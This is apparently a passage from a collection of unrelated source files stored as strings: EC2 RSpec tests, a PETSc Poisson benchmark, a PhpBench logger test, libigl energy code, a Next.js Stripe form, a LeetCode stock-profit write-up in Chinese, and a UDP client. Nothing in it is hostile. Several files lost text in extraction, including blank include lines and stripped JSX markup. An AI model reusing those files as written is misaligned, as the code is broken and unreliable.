:access_key_id => \"not_an_access_key\", :secret_access_key => \"not_a_secret_access_key\")\n end\nend\ndescribe \"ec2 remote base\" do\n before(:each) do\n setup\n @tr = TestEC2Class.new\n stub_remoter_for(@tr)\n @tr.stub!(:get_instances_description).and_return response_list_of_instances\n end\n %w(launch_new_instance! terminate_instance! describe_instance describe_instances create_snapshot).each do |method|\n eval <<-EOE\n it \"should have the method #{method}\" do\n @tr.respond_to?(:#{method}).should == true\n end\n EOE\n end\n describe \"helpers\" do\n it \"should be able to convert an ec2 ip to a real ip\" do\n \"ec2-72-44-36-12.compute-1.amazonaws.com\".convert_from_ec2_to_ip.should == \"72.44.36.12\"\n end\n it \"should not throw an error if another string is returned\" do\n \"72.44.36.12\".convert_from_ec2_to_ip.should == \"72.44.36.12\"\n end\n it \"should be able to parse the date from the timestamp\" do\n \"2008-11-13T09:33:09+0000\".parse_datetime.should == DateTime.parse(\"2008-11-13T09:33:09+0000\")\n end\n it \"should rescue itself and just return the string if it fails\" do\n \"thisisthedate\".parse_datetime.should == \"thisisthedate\"\n end\n end\n describe \"launching\" do\n before(:each) do\n @tr.ec2.stub!(:run_instances).and_return true\n end\n it \"should call run_instances on the ec2 Base class when asking to launch_new_instance!\" do\n @tr.ec2.should_receive(:run_instances).and_return true\n @tr.launch_new_instance!\n end\n it \"should use a specific security group if one is specified\" do\n @tr.stub!(:security_group).and_return \"web\"\n @tr.ec2.should_receive(:run_instances).with(hash_including(:group_id => ['web'])).and_return true\n @tr.launch_new_instance! \n end\n it \"should use the default security group if none is specified\" do\n @tr.ec2.should_receive(:run_instances).with(hash_including(:group_id => ['default'])).and_return true\n @tr.launch_new_instance! \n end\n it \"should get the hash response from EC2ResponseObject\" do\n EC2ResponseObject.should_receive(:get_hash_from_response).and_return true\n @tr.launch_new_instance!\n end\n end\n describe \"terminating\" do\n it \"should call terminate_instance! on ec2 when asking to terminate_instance!\" do\n @tr.ec2.should_receive(:terminate_instances).with(:instance_id => \"abc-123\").and_return true\n @tr.terminate_instance!(\"abc-123\")\n end\n end\n describe \"describe_instance\" do\n it \"should call get_instances_description on itself\" do\n @tr.should_receive(:get_instances_description).and_return {}\n @tr.describe_instance\n end\n end\n describe \"get_instances_description\" do\n it \"should return a hash\" do\n @tr.describe_instances.class.should == Array\n end\n it \"should call the first node master\" do\n @tr.describe_instances.first[:name].should == \"master\"\n end\n it \"should call the second one node1\" do\n @tr.describe_instances[1][:name].should == \"node1\"\n end\n it \"should call the third node2\" do\n @tr.describe_instances[2][:name].should == \"terminated_node2\"\n end\n end\n describe \"create_keypair\" do\n before(:each) do\n Kernel.stub!(:system).with(\"ec2-add-keypair fake_keypair > #{Base.base_keypair_path}/id_rsa-fake_keypair && chmod 600 #{Base.base_keypair_path}/id_rsa-fake_keypair\").and_return true\n end\n it \"should send system to the Kernel\" do\n Kernel.should_receive(:system).with(\"ec2-add-keypair fake_keypair > #{Base.base_keypair_path}/id_rsa-fake_keypair && chmod 600 #{Base.base_keypair_path}/id_rsa-fake_keypair\").and_return true\n @tr.create_keypair\n end\n it \"should try to create the directory when making a new keypair\" do\n FileUtils.should_receive(:mkdir_p).and_return true\n ::File.stub!(:directory?).and_return false\n @tr.create_keypair\n end\n it \"should not create a keypair if the keypair is nil\" do\n Kernel.should_not_receive(:system)\n @tr.stub!(:keypair).and_return nil\n @tr.create_keypair\n end\n end\n describe \"create_snapshot\" do\n # We can assume that create_snapshot on the ec2 gem works\n before(:each) do\n @tr.ec2.stub!(:create_snapshot).and_return nil\n end\n it \"should create a snapshot of the current EBS volume\" do\n @tr.ec2.stub!(:create_snapshot).and_return {{\"snapshotId\" => \"snap-123\"}}\n @tr.stub!(:ebs_volume_id).and_return \"vol-123\"\n @tr.create_snapshot.should == {\"snapshotId\" => \"snap-123\"}\n end\n it \"should not create a snapshot if there is no EBS volume\" do\n @tr.create_snapshot.should == nil\n end\n end\nend", "/**\n * \\file main.cpp\n * \\brief An example and benchmark of AmgX and PETSc with Poisson system.\n *\n * The Poisson equation we solve here is\n * \\nabla^2 u(x, y) = -8\\pi^2 \\cos{2\\pi x} \\cos{2\\pi y}\n * for 2D. And\n * \\nabla^2 u(x, y, z) = -12\\pi^2 \\cos{2\\pi x} \\cos{2\\pi y} \\cos{2\\pi z}\n * for 3D.\n *\n * The exact solutions are\n * u(x, y) = \\cos{2\\pi x} \\cos{2\\pi y}\n * for 2D. And\n * u(x, y, z) = \\cos{2\\pi x} \\cos{2\\pi y} \\cos{2\\pi z}\n * for 3D.\n *\n * \\author Pi-Yueh Chuang (pychuang@gwu.edu)\n * \\date 2017-06-26\n */\n\n\n// PETSc\n# include \n# include \n# include \n# include \n# include \n\n// headers\n# include \"helper.h\"\n\n// constants\n# define Nx -100\n# define Ny -100\n# define Nz -100\n\nint main(int argc, char **argv)\n{\n PetscErrorCode ierr; // error codes returned by PETSc routines\n\n DM da; // DM object\n\n DMDALocalInfo info; // partitioning info\n\n Vec lhs, // left hand side\n rhs, // right hand side\n exact; // exact solution\n\n Mat A; // coefficient matrix\n\n KSP ksp; // PETSc KSP solver instance\n\n KSPConvergedReason reason; // KSP convergence/divergence reason\n\n PetscInt Niters; // iterations used to converge\n\n PetscReal res, // final residual\n Linf; // maximum norm\n\n PetscLogDouble start, // time at the begining\n initSys, // time after init the sys\n initSolver, // time after init the solver\n solve; // time after solve\n\n char config[PETSC_MAX_PATH_LEN]; // config file name\n\n\n\n // initialize MPI and PETSc\n ierr = MPI_Init(&argc, &argv); CHKERRQ(ierr);\n ierr = PetscInitialize(&argc, &argv, nullptr, nullptr); CHKERRQ(ierr);\n\n // allow PETSc to read run-time options from a file\n ierr = PetscOptionsGetString(nullptr, nullptr, \"-config\",\n config, PETSC_MAX_PATH_LEN, nullptr); CHKERRQ(ierr);\n ierr = PetscOptionsInsertFile(PETSC_COMM_WORLD,\n nullptr, config, PETSC_FALSE); CHKERRQ(ierr);\n\n // get time\n ierr = PetscTime(&start); CHKERRQ(ierr);\n\n // prepare the linear system\n ierr = createSystem(Nx, Ny, Nz, da, A, lhs, rhs, exact); CHKERRQ(ierr);\n\n // get system info\n ierr = DMDAGetLocalInfo(da, &info); CHKERRQ(ierr);\n\n // get time\n ierr = PetscTime(&initSys); CHKERRQ(ierr);\n\n // create a solver\n ierr = KSPCreate(PETSC_COMM_WORLD, &ksp); CHKERRQ(ierr);\n ierr = KSPSetOperators(ksp, A, A); CHKERRQ(ierr);\n ierr = KSPSetType(ksp, KSPCG); CHKERRQ(ierr);\n ierr = KSPSetReusePreconditioner(ksp, PETSC_TRUE); CHKERRQ(ierr);\n ierr = KSPSetFromOptions(ksp); CHKERRQ(ierr);\n ierr = KSPSetUp(ksp); CHKERRQ(ierr);\n\n // get time\n ierr = PetscTime(&initSolver); CHKERRQ(ierr);\n\n // solve the system\n ierr = KSPSolve(ksp, rhs, lhs); CHKERRQ(ierr);\n\n // get time\n ierr = PetscTime(&solve); CHKERRQ(ierr);\n\n // check if the solver converged\n ierr = KSPGetConvergedReason(ksp, &reason); CHKERRQ(ierr);\n if (reason < 0) SETERRQ1(PETSC_COMM_WORLD,\n PETSC_ERR_CONV_FAILED, \"Diverger reason: %d\\n\", reason);\n\n // get the number of iterations\n ierr = KSPGetIterationNumber(ksp, &Niters); CHKERRQ(ierr);\n\n // get the L2 norm of final residual\n ierr = KSPGetResidualNorm(ksp, &res);\n\n // calculate error norm (maximum norm)\n ierr = VecAXPY(lhs, -1.0, exact); CHKERRQ(ierr);\n ierr = VecNorm(lhs, NORM_INFINITY, &Linf); CHKERRQ(ierr);\n\n // print result\n ierr = PetscPrintf(PETSC_COMM_WORLD,\n \"[Nx, Ny, Nz]: [%d, %d, %d]\\n\" \"Number of iterations: %d\\n\"\n \"L2 norm of final residual: %f\\n\" \"Maximum norm of error: %f\\n\"\n \"Time [init, create solver, solve]: [%f, %f, %f]\\n\",\n info.mx, info.my, info.mz, Niters, res, Linf,\n initSys-start, initSolver-initSys, solve-initSolver); CHKERRQ(ierr);\n\n // destroy KSP solver\n ierr = KSPDestroy(&ksp); CHKERRQ(ierr);\n\n // destroy the linear system\n ierr = destroySystem(da, A, lhs, rhs, exact); CHKERRQ(ierr);\n\n // finalize PETSc and MPI\n ierr = PetscFinalize(); CHKERRQ(ierr);\n ierr = MPI_Finalize(); CHKERRQ(ierr);\n\n return ierr;\n}\n", "\n *\n * For the full copyright and license information, please view the LICENSE\n * file that was distributed with this source code.\n *\n */\n\nnamespace PhpBench\\Tests\\Unit\\Progress\\Logger;\n\nuse PhpBench\\Model\\Benchmark;\nuse PhpBench\\Model\\Iteration;\nuse PhpBench\\Model\\ParameterSet;\nuse PhpBench\\Model\\Subject;\nuse PhpBench\\Model\\Variant;\nuse PhpBench\\Progress\\Logger\\HistogramLogger;\nuse PhpBench\\Tests\\Util\\TestUtil;\nuse PhpBench\\Util\\TimeUnit;\nuse PHPUnit\\Framework\\TestCase;\nuse Symfony\\Component\\Console\\Output\\BufferedOutput;\n\nclass HistogramLoggerTest extends TestCase\n{\n public function setUp()\n {\n $this->output = new BufferedOutput();\n $this->timeUnit = new TimeUnit(TimeUnit::MICROSECONDS, TimeUnit::MILLISECONDS);\n\n $this->logger = new HistogramLogger($this->timeUnit);\n $this->logger->setOutput($this->output);\n $this->benchmark = $this->prophesize(Benchmark::class);\n $this->subject = $this->prophesize(Subject::class);\n $this->iteration = $this->prophesize(Iteration::class);\n $this->variant = new Variant(\n $this->subject->reveal(),\n new ParameterSet(),\n 1,\n 0\n );\n $this->variant->spawnIterations(4);\n $this->benchmark->getSubjects()->willReturn([\n $this->subject->reveal(),\n ]);\n $this->benchmark->getClass()->willReturn('BenchmarkTest');\n\n $this->subject->getName()->willReturn('benchSubject');\n $this->subject->getIndex()->willReturn(1);\n $this->subject->getOutputTimeUnit()->willReturn('milliseconds');\n $this->subject->getOutputMode()->willReturn('time');\n $this->subject->getRetryThreshold()->willReturn(10);\n $this->subject->getOutputTimePrecision()->willReturn(3);\n }\n\n /**\n * It should show the benchmark name and list all of the subjects.\n */\n public function testBenchmarkStart()\n {\n $this->logger->benchmarkStart($this->benchmark->reveal());\n $display = $this->output->fetch();\n $this->assertContains('BenchmarkTest', $display);\n $this->assertContains('#1 benchSubject', $display);\n }\n\n /**\n * Test iteration start.\n */\n public function testIterationStart()\n {\n $this->iteration->getIndex()->willReturn(1);\n $this->iteration->getVariant()->willReturn($this->variant);\n $this->logger->iterationStart($this->iteration->reveal());\n $display = $this->output->fetch();\n $this->assertContains('it 1/4', $display);\n }\n\n /**\n * It should show information at the start of the variant.\n */\n public function testIterationsStart()\n {\n $this->logger->variantStart($this->variant);\n $display = $this->output->fetch();\n $this->assertContains(\n '1 (\u03c3 = 0.000ms ) -2\u03c3 [ ] +2\u03c3',\n $display\n );\n $this->assertContains(\n 'benchSubject',\n $display\n );\n $this->assertContains(\n 'parameters []',\n $display\n );\n }\n\n /**\n * It should show an error if the iteration has an exception.\n */\n public function testIterationException()\n {\n $this->variant->setException(new \\Exception('foo'));\n $this->logger->variantEnd($this->variant);\n $this->assertContains('ERROR', $this->output->fetch());\n }\n\n /**\n * It should show the histogram and statistics when an iteration is\n * completed (and there were no rejections).\n */\n public function testIterationEnd()\n {\n foreach ($this->variant as $iteration) {\n foreach (TestUtil::createResults(10, 10) as $result) {\n $iteration->setResult($result);\n }\n }\n $this->variant->computeStats();\n\n $this->logger->variantEnd($this->variant);\n $display = $this->output->fetch();\n $this->assertContains(\n '1 (\u03c3 = 0.000ms ) -2\u03c3 [ \u2588 ] +2\u03c3 [\u03bc Mo]/r: 0.010 0.010 \u03bcRSD/r: 0.00%',\n $display\n );\n }\n}\n", "// This file is part of libigl, a simple c++ geometry processing library.\n// \n// Copyright (C) 2018 Zhongshi Jiang \n// \n// This Source Code Form is subject to the terms of the Mozilla Public License \n// v. 2.0. If a copy of the MPL was not distributed with this file, You can \n// obtain one at http://mozilla.org/MPL/2.0/.\n\n#include \"mapping_energy_with_jacobians.h\"\n#include \"polar_svd.h\"\n\nIGL_INLINE double igl::mapping_energy_with_jacobians(\n const Eigen::MatrixXd &Ji, \n const Eigen::VectorXd &areas, \n igl::MappingEnergyType slim_energy, \n double exp_factor){\n\n double energy = 0;\n if (Ji.cols() == 4)\n {\n Eigen::Matrix ji;\n for (int i = 0; i < Ji.rows(); i++)\n {\n ji(0, 0) = Ji(i, 0);\n ji(0, 1) = Ji(i, 1);\n ji(1, 0) = Ji(i, 2);\n ji(1, 1) = Ji(i, 3);\n\n typedef Eigen::Matrix Mat2;\n typedef Eigen::Matrix Vec2;\n Mat2 ri, ti, ui, vi;\n Vec2 sing;\n igl::polar_svd(ji, ri, ti, ui, sing, vi);\n double s1 = sing(0);\n double s2 = sing(1);\n\n switch (slim_energy)\n {\n case igl::MappingEnergyType::ARAP:\n {\n energy += areas(i) * (pow(s1 - 1, 2) + pow(s2 - 1, 2));\n break;\n }\n case igl::MappingEnergyType::SYMMETRIC_DIRICHLET:\n {\n energy += areas(i) * (pow(s1, 2) + pow(s1, -2) + pow(s2, 2) + pow(s2, -2));\n break;\n }\n case igl::MappingEnergyType::EXP_SYMMETRIC_DIRICHLET:\n {\n energy += areas(i) * exp(exp_factor * (pow(s1, 2) + pow(s1, -2) + pow(s2, 2) + pow(s2, -2)));\n break;\n }\n case igl::MappingEnergyType::LOG_ARAP:\n {\n energy += areas(i) * (pow(log(s1), 2) + pow(log(s2), 2));\n break;\n }\n case igl::MappingEnergyType::CONFORMAL:\n {\n energy += areas(i) * ((pow(s1, 2) + pow(s2, 2)) / (2 * s1 * s2));\n break;\n }\n case igl::MappingEnergyType::EXP_CONFORMAL:\n {\n energy += areas(i) * exp(exp_factor * ((pow(s1, 2) + pow(s2, 2)) / (2 * s1 * s2)));\n break;\n }\n\n }\n\n }\n }\n else\n {\n Eigen::Matrix ji;\n for (int i = 0; i < Ji.rows(); i++)\n {\n ji(0, 0) = Ji(i, 0);\n ji(0, 1) = Ji(i, 1);\n ji(0, 2) = Ji(i, 2);\n ji(1, 0) = Ji(i, 3);\n ji(1, 1) = Ji(i, 4);\n ji(1, 2) = Ji(i, 5);\n ji(2, 0) = Ji(i, 6);\n ji(2, 1) = Ji(i, 7);\n ji(2, 2) = Ji(i, 8);\n\n typedef Eigen::Matrix Mat3;\n typedef Eigen::Matrix Vec3;\n Mat3 ri, ti, ui, vi;\n Vec3 sing;\n igl::polar_svd(ji, ri, ti, ui, sing, vi);\n double s1 = sing(0);\n double s2 = sing(1);\n double s3 = sing(2);\n\n switch (slim_energy)\n {\n case igl::MappingEnergyType::ARAP:\n {\n energy += areas(i) * (pow(s1 - 1, 2) + pow(s2 - 1, 2) + pow(s3 - 1, 2));\n break;\n }\n case igl::MappingEnergyType::SYMMETRIC_DIRICHLET:\n {\n energy += areas(i) * (pow(s1, 2) + pow(s1, -2) + pow(s2, 2) + pow(s2, -2) + pow(s3, 2) + pow(s3, -2));\n break;\n }\n case igl::MappingEnergyType::EXP_SYMMETRIC_DIRICHLET:\n {\n energy += areas(i) * exp(exp_factor *\n (pow(s1, 2) + pow(s1, -2) + pow(s2, 2) + pow(s2, -2) + pow(s3, 2) + pow(s3, -2)));\n break;\n }\n case igl::MappingEnergyType::LOG_ARAP:\n {\n energy += areas(i) * (pow(log(s1), 2) + pow(log(std::abs(s2)), 2) + pow(log(std::abs(s3)), 2));\n break;\n }\n case igl::MappingEnergyType::CONFORMAL:\n {\n energy += areas(i) * ((pow(s1, 2) + pow(s2, 2) + pow(s3, 2)) / (3 * pow(s1 * s2 * s3, 2. / 3.)));\n break;\n }\n case igl::MappingEnergyType::EXP_CONFORMAL:\n {\n energy += areas(i) * exp((pow(s1, 2) + pow(s2, 2) + pow(s3, 2)) / (3 * pow(s1 * s2 * s3, 2. / 3.)));\n break;\n }\n }\n }\n }\n\n return energy;\n}\n\n\n#ifdef IGL_STATIC_LIBRARY\n// Explicit template instantiation\n#endif\n", "import type { CustomNextPage } from \"next\";\nimport { useState } from \"react\";\nimport { useForm } from \"react-hook-form\";\nimport { useManageAccount } from \"src/hook/vendor/useManageAccount\";\nimport { Layout } from \"src/layout\";\nimport {\n Attention,\n InputLayout,\n InputType,\n} from \"src/pages/vendor/auth/component\";\nimport type {\n TypeEmail,\n TypeRadio,\n TypeSelect,\n TypeTel,\n TypeText,\n TypeTextarea,\n TypeUrl,\n} from \"src/type/vendor\";\nimport type Stripe from \"stripe\";\n\nconst inputItems: (\n | TypeEmail\n | TypeRadio\n | TypeSelect\n | TypeTel\n | TypeText\n | TypeUrl\n | TypeTextarea\n)[] = [\n // {\n // id: \"business_type\",\n // label: \"\u4e8b\u696d\u5f62\u614b\",\n // type: \"radio\",\n // radioItem: [{ id: \"individual\" }, { id: \"company\" }, { id: \"non_profit\" }],\n // },\n // {\n // id: \"first_name_kanji\",\n // label: \"\u6c0f\u540d\",\n // type: \"text\",\n // placeholder: \"\u59d3\",\n // },\n // {\n // id: \"last_name_kanji\",\n // label: \"\u6c0f\u540d\",\n // type: \"text\",\n // placeholder: \"\u540d\",\n // },\n // {\n // id: \"first_name_kana\",\n // label: \"\u6c0f\u540d(\u304b\u306a)\",\n // type: \"text\",\n // placeholder: \"\u59d3\",\n // },\n // {\n // id: \"last_name_kana\",\n // label: \"\u6c0f\u540d(\u304b\u306a)\",\n // type: \"text\",\n // placeholder: \"\u540d\",\n // },\n {\n id: \"email\",\n label: \"\u30e1\u30fc\u30eb\u30a2\u30c9\u30ec\u30b9\",\n type: \"email\",\n autoComplete: \"email\",\n placeholder: \"test.satou@example.com\",\n },\n // {\n // id: \"businessProfileMcc\",\n // label: \"\u4e8b\u696d\u30ab\u30c6\u30b4\u30ea\u30fc\",\n // type: \"select\",\n // selectItem: [\n // { value: \"\", text: \"\u9078\u3093\u3067\u304f\u3060\u3055\u3044\u3002\" },\n // { value: \"Dog\", text: \"Dog\" },\n // { value: \"Cat\", text: \"Cat\" },\n // { value: \"Bird\", text: \"Bird\" },\n // ],\n // },\n // {\n // id: \"businessProfileProductDescription\",\n // label: \"\u4e8b\u696d\u8a73\u7d30\",\n // type: \"textarea\",\n // },\n];\n\nconst Create: CustomNextPage = () => {\n const [isLoading, setIsLoading] = useState(false);\n const { createAccount, createAccountLink } = useManageAccount();\n\n const {\n register,\n handleSubmit,\n formState: { errors },\n } = useForm();\n\n const onSubmit = async (e: any) => {\n setIsLoading(true);\n const params: Stripe.AccountCreateParams = { ...e };\n const { id } = await createAccount(params);\n await createAccountLink(id);\n setIsLoading(false);\n };\n\n return (\n
\n
\n

\u30c1\u30b1\u30c3\u30c8\u30aa\u30fc\u30ca\u30fc\u30a2\u30ab\u30a6\u30f3\u30c8\u4f5c\u6210

\n \n
\n
\n {inputItems.map((item) => {\n return (\n \n \n \n );\n })}\n
\n \n {isLoading && (\n
\n
\n
\n )}\n
\n
\n
\n
\n
\n );\n};\n\nCreate.getLayout = Layout;\n\nexport default Create;\n", "\n\u4e70\u5356\u80a1\u7968\u7684\u6700\u4f73\u65f6\u673a II\n\n\u6211\u4eec\u5fc5\u987b\u786e\u5b9a\u901a\u8fc7\u4ea4\u6613\u80fd\u591f\u83b7\u5f97\u7684\u6700\u5927\u5229\u6da6\uff08\u5bf9\u4e8e\u4ea4\u6613\u6b21\u6570\u6ca1\u6709\u9650\u5236\uff09\u3002\u4e3a\u6b64\uff0c\u6211\u4eec\u9700\u8981\u627e\u51fa\u90a3\u4e9b\u5171\u540c\u4f7f\u5f97\u5229\u6da6\u6700\u5927\u5316\u7684\u4e70\u5165\u53ca\u5356\u51fa\u4ef7\u683c\u3002\n\n\u89e3\u51b3\u65b9\u6848\n\u65b9\u6cd5\u4e00\uff1a\u66b4\u529b\u6cd5\n\u8fd9\u79cd\u60c5\u51b5\u4e0b\uff0c\u6211\u4eec\u53ea\u9700\u8981\u8ba1\u7b97\u4e0e\u6240\u6709\u53ef\u80fd\u7684\u4ea4\u6613\u7ec4\u5408\u76f8\u5bf9\u5e94\u7684\u5229\u6da6\uff0c\u5e76\u627e\u51fa\u5b83\u4eec\u4e2d\u7684\u6700\u5927\u5229\u6da6\u3002\n\nclass Solution {\n public int maxProfit(int[] prices) {\n return calculate(prices, 0);\n }\n\n public int calculate(int prices[], int s) {\n if (s >= prices.length)\n return 0;\n int max = 0;\n for (int start = s; start < prices.length; start++) {\n int maxprofit = 0;\n for (int i = start + 1; i < prices.length; i++) {\n if (prices[start] < prices[i]) {\n int profit = calculate(prices, i + 1) + prices[i] - prices[start];\n if (profit > maxprofit)\n maxprofit = profit;\n }\n }\n if (maxprofit > max)\n max = maxprofit;\n }\n return max;\n }\n}\n\u590d\u6742\u5ea6\u5206\u6790\n\n\u65f6\u95f4\u590d\u6742\u5ea6\uff1aO(n^n)O(n \nn\n )\uff0c\u8c03\u7528\u9012\u5f52\u51fd\u6570 n^nn \nn\n \u6b21\u3002\n\n\u7a7a\u95f4\u590d\u6742\u5ea6\uff1aO(n)O(n)\uff0c\u9012\u5f52\u7684\u6df1\u5ea6\u4e3a nn\u3002\n\n\u65b9\u6cd5\u4e8c\uff1a\u5cf0\u8c37\u6cd5\n\u7b97\u6cd5\n\n\u5047\u8bbe\u7ed9\u5b9a\u7684\u6570\u7ec4\u4e3a\uff1a\n\n[7, 1, 5, 3, 6, 4]\n\n\u5982\u679c\u6211\u4eec\u5728\u56fe\u8868\u4e0a\u7ed8\u5236\u7ed9\u5b9a\u6570\u7ec4\u4e2d\u7684\u6570\u5b57\uff0c\u6211\u4eec\u5c06\u4f1a\u5f97\u5230\uff1a\n\nProfit Graph\n\n\u5982\u679c\u6211\u4eec\u5206\u6790\u56fe\u8868\uff0c\u90a3\u4e48\u6211\u4eec\u7684\u5174\u8da3\u70b9\u662f\u8fde\u7eed\u7684\u5cf0\u548c\u8c37\u3002\nhttps://pic.leetcode-cn.com/d447f96d20d1cfded20a5d08993b3658ed08e295ecc9aea300ad5e3f4466e0fe-file_1555699515174\n\n\u7528\u6570\u5b66\u8bed\u8a00\u63cf\u8ff0\u4e3a\uff1a\n\nTotal Profit= \\sum_{i}(height(peak_i)-height(valley_i))\nTotalProfit= \ni\n\u2211\n\u200b\t\n (height(peak \ni\n\u200b\t\n )\u2212height(valley \ni\n\u200b\t\n ))\n\n\u5173\u952e\u662f\u6211\u4eec\u9700\u8981\u8003\u8651\u5230\u7d27\u8ddf\u8c37\u7684\u6bcf\u4e00\u4e2a\u5cf0\u503c\u4ee5\u6700\u5927\u5316\u5229\u6da6\u3002\u5982\u679c\u6211\u4eec\u8bd5\u56fe\u8df3\u8fc7\u5176\u4e2d\u4e00\u4e2a\u5cf0\u503c\u6765\u83b7\u53d6\u66f4\u591a\u5229\u6da6\uff0c\u90a3\u4e48\u6211\u4eec\u6700\u7ec8\u5c06\u5931\u53bb\u5176\u4e2d\u4e00\u7b14\u4ea4\u6613\u4e2d\u83b7\u5f97\u7684\u5229\u6da6\uff0c\u4ece\u800c\u5bfc\u81f4\u603b\u5229\u6da6\u7684\u964d\u4f4e\u3002\n\n\u4f8b\u5982\uff0c\u5728\u4e0a\u8ff0\u60c5\u51b5\u4e0b\uff0c\u5982\u679c\u6211\u4eec\u8df3\u8fc7 peak_ipeak \ni\n\u200b\t\n \u548c valley_jvalley \nj\n\u200b\t\n \u8bd5\u56fe\u901a\u8fc7\u8003\u8651\u5dee\u5f02\u8f83\u5927\u7684\u70b9\u4ee5\u83b7\u53d6\u66f4\u591a\u7684\u5229\u6da6\uff0c\u83b7\u5f97\u7684\u51c0\u5229\u6da6\u603b\u662f\u4f1a\u5c0f\u4e0e\u5305\u542b\u5b83\u4eec\u800c\u83b7\u5f97\u7684\u9759\u5229\u6da6\uff0c\u56e0\u4e3a CC \u603b\u662f\u5c0f\u4e8e A+BA+B\u3002\n\nclass Solution {\n public int maxProfit(int[] prices) {\n int i = 0;\n int valley = prices[0];\n int peak = prices[0];\n int maxprofit = 0;\n while (i < prices.length - 1) {\n while (i < prices.length - 1 && prices[i] >= prices[i + 1])\n i++;\n valley = prices[i];\n while (i < prices.length - 1 && prices[i] <= prices[i + 1])\n i++;\n peak = prices[i];\n maxprofit += peak - valley;\n }\n return maxprofit;\n }\n}\n\u590d\u6742\u5ea6\u5206\u6790\n\n\u65f6\u95f4\u590d\u6742\u5ea6\uff1aO(n)O(n)\u3002\u904d\u5386\u4e00\u6b21\u3002\n\n\u7a7a\u95f4\u590d\u6742\u5ea6\uff1aO(1)O(1)\u3002\u9700\u8981\u5e38\u91cf\u7684\u7a7a\u95f4\u3002\n\n\u65b9\u6cd5\u4e09\uff1a\u7b80\u5355\u7684\u4e00\u6b21\u904d\u5386\n\u7b97\u6cd5\n\n\u8be5\u89e3\u51b3\u65b9\u6848\u9075\u5faa \u65b9\u6cd5\u4e8c \u7684\u672c\u8eab\u4f7f\u7528\u7684\u903b\u8f91\uff0c\u4f46\u6709\u4e00\u4e9b\u8f7b\u5fae\u7684\u53d8\u5316\u3002\u5728\u8fd9\u79cd\u60c5\u51b5\u4e0b\uff0c\u6211\u4eec\u53ef\u4ee5\u7b80\u5355\u5730\u7ee7\u7eed\u5728\u659c\u5761\u4e0a\u722c\u5347\u5e76\u6301\u7eed\u589e\u52a0\u4ece\u8fde\u7eed\u4ea4\u6613\u4e2d\u83b7\u5f97\u7684\u5229\u6da6\uff0c\u800c\u4e0d\u662f\u5728\u8c37\u4e4b\u540e\u5bfb\u627e\u6bcf\u4e2a\u5cf0\u503c\u3002\u6700\u540e\uff0c\u6211\u4eec\u5c06\u6709\u6548\u5730\u4f7f\u7528\u5cf0\u503c\u548c\u8c37\u503c\uff0c\u4f46\u6211\u4eec\u4e0d\u9700\u8981\u8ddf\u8e2a\u5cf0\u503c\u548c\u8c37\u503c\u5bf9\u5e94\u7684\u6210\u672c\u4ee5\u53ca\u6700\u5927\u5229\u6da6\uff0c\u4f46\u6211\u4eec\u53ef\u4ee5\u76f4\u63a5\u7ee7\u7eed\u589e\u52a0\u52a0\u6570\u7ec4\u7684\u8fde\u7eed\u6570\u5b57\u4e4b\u95f4\u7684\u5dee\u503c\uff0c\u5982\u679c\u7b2c\u4e8c\u4e2a\u6570\u5b57\u5927\u4e8e\u7b2c\u4e00\u4e2a\u6570\u5b57\uff0c\u6211\u4eec\u83b7\u5f97\u7684\u603b\u548c\u5c06\u662f\u6700\u5927\u5229\u6da6\u3002\u8fd9\u79cd\u65b9\u6cd5\u5c06\u7b80\u5316\u89e3\u51b3\u65b9\u6848\u3002\n\u8fd9\u4e2a\u4f8b\u5b50\u53ef\u4ee5\u66f4\u6e05\u695a\u5730\u5c55\u73b0\u4e0a\u8ff0\u60c5\u51b5\uff1a\n\n[1, 7, 2, 3, 6, 7, 6, 7]\n\n\u4e0e\u6b64\u6570\u7ec4\u5bf9\u5e94\u7684\u56fe\u5f62\u662f\uff1a\n\nProfit Graph\n\nhttps://pic.leetcode-cn.com/6eaf01901108809ca5dfeaef75c9417d6b287c841065525083d1e2aac0ea1de4-file_1555699697692\n\n\n\u4ece\u4e0a\u56fe\u4e2d\uff0c\u6211\u4eec\u53ef\u4ee5\u89c2\u5bdf\u5230 A+B+CA+B+C \u7684\u548c\u7b49\u4e8e\u5dee\u503c DD \u6240\u5bf9\u5e94\u7684\u8fde\u7eed\u5cf0\u548c\u8c37\u7684\u9ad8\u5ea6\u4e4b\u5dee\u3002\n\nclass Solution {\n public int maxProfit(int[] prices) {\n int maxprofit = 0;\n for (int i = 1; i < prices.length; i++) {\n if (prices[i] > prices[i - 1])\n maxprofit += prices[i] - prices[i - 1];\n }\n return maxprofit;\n }\n}\n\u590d\u6742\u5ea6\u5206\u6790\n\n\u65f6\u95f4\u590d\u6742\u5ea6\uff1aO(n)O(n)\uff0c\u904d\u5386\u4e00\u6b21\u3002\n\u7a7a\u95f4\u590d\u6742\u5ea6\uff1aO(1)O(1)\uff0c\u9700\u8981\u5e38\u91cf\u7684\u7a7a\u95f4\u3002\n", "/*\r\n * UDP server wrapper class.\r\n *\r\n * @author Michel Megens\r\n * @email dev@bietje.net\r\n */\r\n\r\n#include \r\n#include \r\n#include \r\n#include \r\n\r\n#include \r\n#include \r\n#include \r\n#include \r\n\r\n#include \r\n#include \r\n#include \r\n\r\nnamespace lwiot\r\n{\r\n\tSocketUdpClient::SocketUdpClient() : UdpClient(), _socket(nullptr), _noclose(false)\r\n\t{\r\n\t}\r\n\r\n\tSocketUdpClient::SocketUdpClient(const IPAddress &addr, uint16_t port, socket_t* srv) :\r\n\t\tUdpClient(addr, port), _socket(srv)\r\n\t{\r\n\t\tif(srv == nullptr)\r\n\t\t\tthis->init();\r\n\t\telse\r\n\t\t\tthis->_noclose = true;\r\n\t}\r\n\r\n\tSocketUdpClient::SocketUdpClient(const lwiot::String &host, uint16_t port) : UdpClient(host, port)\r\n\t{\r\n\t\tthis->init();\r\n\t}\r\n\r\n\tvoid SocketUdpClient::begin()\r\n\t{\r\n\t\tthis->resolve();\r\n\t\tthis->close();\r\n\t\tthis->init();\r\n\t}\r\n\r\n\tvoid SocketUdpClient::begin(const lwiot::String &host, uint16_t port)\r\n\t{\r\n\t\tthis->_host = host;\r\n\t\tthis->_port = to_netorders(port);\r\n\t\tthis->begin();\r\n\t}\r\n\r\n\tvoid SocketUdpClient::begin(const lwiot::IPAddress &addr, uint16_t port)\r\n\t{\r\n\t\tthis->_host = \"\";\r\n\t\tthis->_remote = addr;\r\n\t\tthis->_port = to_netorders(port);\r\n\t\tthis->begin();\r\n\t}\r\n\r\n\tvoid SocketUdpClient::init()\r\n\t{\r\n\t\tremote_addr_t remote;\r\n\r\n\t\tthis->address().toRemoteAddress(remote);\r\n\t\tthis->_socket = udp_socket_create(&remote);\r\n\t\tthis->_noclose = 